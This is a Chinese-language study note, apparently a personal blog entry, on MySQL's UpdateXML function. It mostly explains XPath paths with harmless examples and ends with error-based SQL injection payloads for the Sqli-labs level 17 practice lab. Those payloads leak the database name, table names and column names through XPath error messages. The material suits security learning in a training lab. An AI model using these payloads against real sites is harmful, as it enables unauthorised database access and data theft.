在测试Sqli-labs第十七关的时候遇到了updatexml函数,针对自己的初步了解进行总结,方便以后回顾
UpdateXML函数具有查询功能通常是与concat一起使用,是在xpath处查询,xpath有自己的语法,利用此规则构造错误语法就会将他查询的结果已报错的形式显示出来
就是说界面有错误信息反显的时候就可以用这个函数尝试
语法
UpdateXML(xml_target, xpath_expr, new_xml)
第一个参数是目标是针对于xml文档
第二参数是xpath的表达,这里可以看下xpath教程: http://www.w3school.com.cn/xpath/
第三个参数是将xpath表达式转换成什么,也就是替换查找到的符合条件的数据
第二个参数表达式说明:
示例
绝对路径示例 ‘/’
示例1
select UpdateXML('<a><b>ccc</b><d></d></a>', '/a', '<e>fff</e>') ;
解析:
/是从根节点选取,由于sql中的xml根节点就是a所以查询成功,就对标签以及其中的全部内容进行替换成第三个参数的值,若a标签没有结束标签即则替换不成功,查询结果为null
示例2
select UpdateXML('<a><b>ccc</b><d></d></a>', '/b', '<e>fff</e>') ;
解析:
/是从根节点选取,由于xml根节点是a而不是b所以不成功,就对不会对标签d的内容进行替换,结果还是参数1的值
示例3
select UpdateXML('<a><b>bbbb</b><d></d></a>', '/a/d', '<e>fff</e>') ;
解析:
语法为:/元素/子元素/孙元素,
其含义为从根元素开始一级一级向下查找不能跨级。
/a/b表示从绝对路径中获取从a为根节点的下一级b节点,查找到就将b节点及内容替换成参数3的值
全文搜索 ‘//’
示例1
select UpdateXML('<a><b>bbbb</b><d></d></a>', '//b', '<e>fff</e>') ;
解析:
//在xml文档中全文查找,b是xml中的第二个标签于是把b标签以及标签中的内容全部替换成第三个参数的值其他内容不变,结果为截图中红色内容。同理第二个参数为//a也会替换成功,结果为第三个参数的值
也可用于//b/d 含义:全文查找b无论在哪一级,d必须是b下的子节点
也可用于//b//d 含义:全文查找b无论在哪一级,d只要是b的子或孙节点都行
相对路径的语法 ‘./子元素/孙元素’
示例1
select UpdateXML('<a><b>bbbb</b><d></d></a>', './a/b', '<e>fff</e>') ;
解析:
./a/b表示相对路径,从根路径找a下的子节点b然后替换成参数3的内容
./b/o就不成功,.//b/o就会成功,个人觉得加上.没啥用呢跟//b/o的结果一样啊,这没研究明白后续补充吧
属性查找
语法
示例1
select UpdateXML('<a><b><o name="oo">ooo</o></b><d></d></a>', '//@name', '<e>fff</e>')
解析:
o标签中有个name属性,//@name表示在xml中查找只要有这个name属性就替换成第三个参数的值
待办:若多个标签中都有name属性就不会替换成功,不知道为啥,后续在研究吧
示例2
select UpdateXML('<a><b><o name="oo">ooo</o><z name="oo">zz</z></b><d></d></a>', '//o[@name]', '<e>fff</e>')
解析:
查找元素名为o且属性名为name的标签,查到后替换成第三个参数
示例3
select UpdateXML('<a><b><o name="oo">ooo</o><z name="oo">zz</z></b><d></d></a>', '//o[@name="oo"]', '<e>fff</e>')
解析:
查找元素名为o 属性名为name且属性值为oo的标签,查到后替换成第三个参数
Sqli-labs第十七关payload
1‘ and updatexml(1,concat(‘~’,(select database())),1)
xpath语法中不支持~就会报错,还会将执行后的sql结果返回,只需将编写好的sql语句替换就可以得到想要的结果
如下:
1' and updatexml(1,concat('~',(select GROUP_CONCAT(table_name) from information_schema.tables where table_schema='security')),1)
123' and ( updatexml(1,concat('~',(select GROUP_CONCAT(column_name) from information_schema.columns where table_schema=database() and table_name='users')),1))#